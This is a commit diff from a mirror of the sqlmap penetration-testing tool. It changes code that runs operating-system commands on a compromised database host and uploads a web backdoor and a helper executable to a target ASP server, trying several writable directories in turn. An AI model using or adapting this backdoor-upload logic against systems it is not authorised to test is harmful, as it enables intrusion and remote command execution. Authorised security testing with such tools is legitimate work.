sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-02-09 08:00:36 +03:00
Code Issues Packages Projects Releases Wiki Activity

more feature updates

Browse Source
This commit is contained in:
Miroslav Stampar 2010-02-25 11:40:49 +00:00
parent 15d1fcbb7f
commit b558712a47
2 changed files with 27 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
lib/takeover/abstraction.py
View File

@ -41,6 +41,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
def __init__(self): def __init__(self):
self.envInitialized = False self.envInitialized = False
self.alwaysRetrieveCmdOutput = False
UDF.__init__(self) UDF.__init__(self)
Web.__init__(self) Web.__init__(self)
@ -77,11 +78,15 @@ class Abstraction(Web, UDF, xp_cmdshell):
def runCmd(self, cmd): def runCmd(self, cmd):
getOutput = None getOutput = None
if not self.alwaysRetrieveCmdOutput:
message = "do you want to retrieve the command standard " message = "do you want to retrieve the command standard "
message += "output? [Y/n] " message += "output? [Y/n/a] "
getOutput = readInput(message, default="Y") getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"): if getOutput in ("a", "A"):
self.alwaysRetrieveCmdOutput = True
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
output = self.evalCmd(cmd) output = self.evalCmd(cmd)
if output: if output:

18
lib/takeover/web.py
View File

@ -169,7 +169,7 @@ class Web:
backdoorName = "tmpb%s.%s" % (randomStr(4), self.webApi) backdoorName = "tmpb%s.%s" % (randomStr(4), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
backdoorContent = backdoorStream.read() originalBackdoorContent = backdoorContent = backdoorStream.read()
uploaderName = "tmpu%s.%s" % (randomStr(4), self.webApi) uploaderName = "tmpu%s.%s" % (randomStr(4), self.webApi)
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi)) uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))
@ -200,11 +200,13 @@ class Web:
logger.info(infoMsg) logger.info(infoMsg)
if self.webApi == "asp": if self.webApi == "asp":
scriptsDirectory = "Scripts"
runcmdName = "tmpe%s.exe" % randomStr(4) runcmdName = "tmpe%s.exe" % randomStr(4)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
scriptsDirectory = "Scripts" backdoorUploaded = False
backdoorDirectory = "%s..\%s" % (posixToNtSlashes(directory), scriptsDirectory) for backdoorDirectoryFormat in ("%s.\%s", "%s..\%s", "%s..\..\%s"):
backdoorContent = backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) backdoorDirectory = backdoorDirectoryFormat % (posixToNtSlashes(directory), scriptsDirectory)
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate() backdoorStream.file.truncate()
backdoorStream.read() backdoorStream.read()
backdoorStream.seek(0) backdoorStream.seek(0)
@ -212,8 +214,10 @@ class Web:
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/%s/%s" % (self.webBaseUrl.rstrip('/'), scriptsDirectory, backdoorName) self.webBackdoorUrl = "%s/%s/%s" % (self.webBaseUrl.rstrip('/'), scriptsDirectory, backdoorName)
self.webDirectory = directory self.webDirectory = backdoorDirectory
else: backdoorUploaded = True
break
if not backdoorUploaded:
continue continue
elif not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory): elif not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
warnMsg = "backdoor hasn't been successfully uploaded " warnMsg = "backdoor hasn't been successfully uploaded "
@ -231,7 +235,7 @@ class Web:
self.webDirectory = directory self.webDirectory = directory
infoMsg = "the backdoor has probably been successfully " infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % directory infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg) logger.info(infoMsg)